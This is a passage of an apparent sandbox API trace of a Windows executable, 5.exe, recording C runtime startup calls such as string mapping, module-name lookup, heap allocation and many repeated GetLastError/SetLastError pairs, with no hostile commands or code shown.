!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䍸鼓뺺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0055.277] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䍸鼓뺺CĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0055.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿp\x9d0\x98\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0055.277] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x5027b0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe")) returned 0x56 [0055.277] GetLastError () returned 0x0 [0055.277] SetLastError (dwErrCode=0x0) [0055.277] GetLastError () returned 0x0 [0055.277] SetLastError (dwErrCode=0x0) [0055.277] GetLastError () returned 0x0 [0055.277] SetLastError (dwErrCode=0x0) [0055.277] GetLastError () returned 0x0 [0055.277] SetLastError (dwErrCode=0x0) [0055.277] GetLastError () returned 0x0 [0055.277] SetLastError (dwErrCode=0x0) [0055.277] GetLastError () returned 0x0 [0055.277] SetLastError (dwErrCode=0x0) [0055.277] GetLastError () returned 0x0 [0055.467] SetLastError (dwErrCode=0x0) [0055.467] GetLastError () returned 0x0 [0055.467] SetLastError (dwErrCode=0x0) [0055.467] GetLastError () returned 0x0 [0055.467] SetLastError (dwErrCode=0x0) [0055.467] GetLastError () returned 0x0 [0055.467] SetLastError (dwErrCode=0x0) [0055.467] GetLastError () returned 0x0 [0055.467] SetLastError (dwErrCode=0x0) [0055.467] GetLastError () returned 0x0 [0055.467] SetLastError (dwErrCode=0x0) [0055.467] GetLastError () returned 0x0 [0055.467] SetLastError (dwErrCode=0x0) [0055.467] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.468] SetLastError (dwErrCode=0x0) [0055.468] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.469] SetLastError (dwErrCode=0x0) [0055.469] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.470] GetLastError () returned 0x0 [0055.470] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.471] GetLastError () returned 0x0 [0055.471] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.472] SetLastError (dwErrCode=0x0) [0055.472] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x5f) returned 0x271990 [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.473] SetLastError (dwErrCode=0x0) [0055.473] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.474] SetLastError (dwErrCode=0x0) [0055.474] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.475] SetLastError (dwErrCode=0x0) [0055.475] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.476] SetLastError (dwErrCode=0x0) [0055.476] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.477] SetLastError (dwErrCode=0x0) [0055.477] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.478] GetLastError () returned 0x0 [0055.478] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.479] SetLastError (dwErrCode=0x0) [0055.479] GetLastError () returned 0x0 [0055.480] SetLastError (dwErrCode=0x0) [0055.480] GetLastError () returned 0x0 [0055.480] SetLastError (dwErrCode=0x0) [0055.480] GetLastError () returned 0x0 [0055.480] SetLastError (dwErrCode=0x0) [0055.480] GetLastError () returned 0x0 [0055.480] SetLastError (dwErrCode=0x0) [0055.480] GetLastError () returned 0x0 [0055.480] SetLastError (dwErrCode=0x0) [0055.480] GetLastError () returned 0x0 [0055.480] SetLastError (dwErrCode=0x0) [0055.480] GetLastError () returned 0x0 [0055.480] SetLastError (dwErrCode=0x0) [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x98) returned 0x2719f8 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f) returned 0x271a98 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x271ac0 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x37) returned 0x271b00 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x271b40 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x31) returned 0x271b88 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x17) returned 0x271bc8 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x271be8 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x14) returned 0x271c18 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xd) returned 0x271c38 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x25) returned 0x271c50 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x39) returned 0x271c80 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x18) returned 0x271cc8 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x17) returned 0x271ce8 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe) returned 0x271d08 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x69) returned 0x271d20 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3e) returned 0x271d98 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1b) returned 0x271de0 [0055.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1d) returned 0x271e08 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x271e30 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x271e80 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x18) returned 0x271ea0 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1b) returned 0x271ec0 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x271ee8 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x29) returned 0x271f18 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x271f50 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x41) returned 0x271f78 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x17) returned 0x271fc8 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xf) returned 0x271fe8 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x16) returned 0x272000 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2a) returned 0x272020 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x29) returned 0x272058 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x15) returned 0x272090 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x2720b0 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2a) returned 0x2720d8 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x272110 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x18) returned 0x272130 [0055.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x46) returned 0x272150 [0055.481] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2711f8 | out: hHeap=0x270000) returned 1 [0055.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x800) returned 0x2721a0 [0055.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x80) returned 0x2711f8 [0055.482] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.482] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.482] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x43304e) returned 0x0 [0055.482] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x2711f8) returned 0x80 [0055.482] GetLastError () returned 0x0 [0055.482] SetLastError (dwErrCode=0x0) [0055.482] GetLastError () returned 0x0 [0055.482] SetLastError (dwErrCode=0x0) [0055.482] GetLastError () returned 0x0 [0055.482] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.483] SetLastError (dwErrCode=0x0) [0055.483] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.484] SetLastError (dwErrCode=0x0) [0055.484] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.485] GetLastError () returned 0x0 [0055.485] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) 